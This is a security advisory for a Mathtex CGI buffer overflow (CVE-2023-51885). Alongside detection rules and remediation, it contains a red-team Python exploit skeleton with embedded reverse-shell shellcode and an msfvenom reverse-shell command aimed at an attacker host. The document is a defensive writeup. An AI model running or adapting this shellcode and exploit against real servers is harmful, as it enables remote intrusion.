CVE-2023-51885

Executive Summary

CVE-2023-51885 identifies a critical buffer overflow vulnerability in Mathtex version 1.05 and earlier. The flaw resides in the handling of the LaTeX string length component, allowing a remote attacker to trigger a stack-based buffer overflow. Successful exploitation could lead to arbitrary code execution on the target server. The vulnerability is unpatched, and no public proof-of-concept (PoC) or exploit code is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the potential for remote code execution.

Supply Chain & Package Security

Mathtex is a standalone CGI program used to render LaTeX formulas into images. It is not distributed through package managers like NPM, PyPI, Go, or Ruby. The vulnerability affects the core binary itself, not a library dependency. Organizations using Mathtex should treat this as a direct application security issue and prioritize isolation or replacement.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder due to incomplete NVD analysis. Based on the vulnerability type (buffer overflow, remote, unauthenticated), the estimated CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the Mathtex CGI binary. The program accepts a LaTeX string as input via HTTP GET or POST parameters. When processing the length of this string, it fails to perform proper bounds checking before copying it into a fixed-size stack buffer. An attacker can supply an overly long LaTeX string, causing the buffer to overflow and overwrite adjacent memory regions, including the return address.

Key technical details:

• Vulnerable function: Likely a string copy routine (e.g., strcpy, sprintf, or memcpy) without length validation.
• Trigger: Sending a crafted HTTP request with a LaTeX string exceeding the buffer size.
• Impact: Overwriting the saved return address on the stack allows redirection of execution flow to attacker-controlled shellcode.
• Mitigation bypass: If ASLR and NX are enabled, exploitation may require ROP chains or information leaks.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire Mathtex 1.05 binary. A patched version would need to implement safe string handling, such as:

• Using strncpy or snprintf with explicit length limits.
• Validating input length before processing.
• Employing stack canaries (e.g., -fstack-protector in GCC).

Example of vulnerable code pattern (hypothetical):

void process_latex(char *input) {
    char buffer[256];
    strcpy(buffer, input); // No bounds check
    // ... render LaTeX
}

Patched code pattern:

void process_latex(char *input) {
    char buffer[256];
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... render LaTeX
}

Exploitation & Lab Setup

Red Team

Objective: Achieve remote code execution on a vulnerable Mathtex server.

Lab Environment:

• Target: Ubuntu 20.04 LTS with Mathtex 1.05 installed as a CGI script under Apache.
• Attacker: Kali Linux with Python3 and Metasploit.

Steps:

1. Identify the target: Use Shodan or manual scanning to find Mathtex instances.
2. Craft the exploit: Since no public exploit exists, develop a custom buffer overflow payload.
   • Determine the offset to the return address using a cyclic pattern (e.g., pattern_create.rb).
   • Generate shellcode (e.g., reverse shell) using msfvenom.
   • Construct the final payload: [padding] + [return_address] + [nop_sled] + [shellcode].
3. Send the exploit: Use a Python script to send an HTTP GET request with the malicious LaTeX string.

Example exploit skeleton (Python):

import socket

target = "192.168.1.100"
port = 80
path = "/cgi-bin/mathtex.cgi"

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f python
shellcode = b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc4\x48\x31\xc0\x50\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\x5c\xc6\x44\x24\xf8\x02\x48\x8d\x74\x24\xf8\x6a\x10\x5a\x4c\x89\xe7\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05"

offset = 264  # Example offset
ret_addr = b"\x7f\xff\xff\xff\xff\xff"  # Example return address (little-endian)

payload = b"A" * offset + ret_addr + b"\x90" * 16 + shellcode

request = f"GET {path}?latex={payload.decode('latin-1')} HTTP/1.1\r\nHost: {target}\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
sock.send(request.encode())
sock.close()

Blue Team

Detection & Response:

• Monitor for abnormally long HTTP requests to /cgi-bin/mathtex.cgi.
• Deploy WAF rules to block requests with LaTeX strings exceeding a reasonable length (e.g., > 1024 bytes).
• Enable stack canaries and ASLR on the server OS.
• Use runtime application self-protection (RASP) to detect buffer overflow attempts.

Honeypot: Set up a decoy Mathtex instance to capture exploit attempts and analyze attacker behavior.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /cgi-bin/mathtex.cgi with latex parameter exceeding 1024 bytes.
  • Unusual patterns in the latex parameter, such as long sequences of A characters or non-printable bytes.
• Host:
  • Core dumps from the mathtex.cgi process.
  • Unexpected child processes spawned by the web server (e.g., reverse shells).
  • Log entries in Apache error log showing segmentation faults in mathtex.cgi.
• File:
  • Modified or newly created files in /tmp or /var/tmp with suspicious names.

Detection Engineering

YARA Rule

rule CVE_2023_51885_Mathtex_BOF {
    meta:
        description = "Detects buffer overflow attempts against Mathtex CGI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51885"
    strings:
        $latex_param = "latex=" nocase
        $overflow_pattern = /latex=[A-Za-z0-9%]{1024,}/ nocase
    condition:
        $latex_param and $overflow_pattern
}

Sigma Rule

title: CVE-2023-51885 Mathtex Buffer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with overly long LaTeX parameters targeting Mathtex CGI
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/cgi-bin/mathtex.cgi"
        cs-uri-query|re: "latex=.{1024,}"
    condition: selection
falsepositives:
    - Legitimate large LaTeX formulas (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51885 Mathtex Buffer Overflow Attempt"; flow:to_server,established; content:"/cgi-bin/mathtex.cgi"; http_uri; content:"latex="; http_uri; pcre:"/latex=.{1024,}/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate or disable Mathtex if not critical to operations.
2. Apply input validation at the reverse proxy or WAF level to limit LaTeX string length to 1024 bytes.
3. Upgrade to a patched version if/when available. Monitor the Mathtex project for updates.

Long-term Solutions:

• Replace Mathtex with a more secure LaTeX rendering solution (e.g., MathJax, KaTeX).
• Implement runtime protections: ASLR, NX, stack canaries.
• Conduct a security audit of all CGI binaries in the environment.

Workaround:

• Use a wrapper script that sanitizes input before passing it to Mathtex:

#!/bin/bash
# Sanitize input length
if [ ${#QUERY_STRING} -gt 1024 ]; then
    echo "Content-Type: text/plain"
    echo ""
    echo "Error: Input too long"
    exit 1
fi
exec /usr/lib/cgi-bin/mathtex.cgi

Valters IT
Securing Digital Frontiers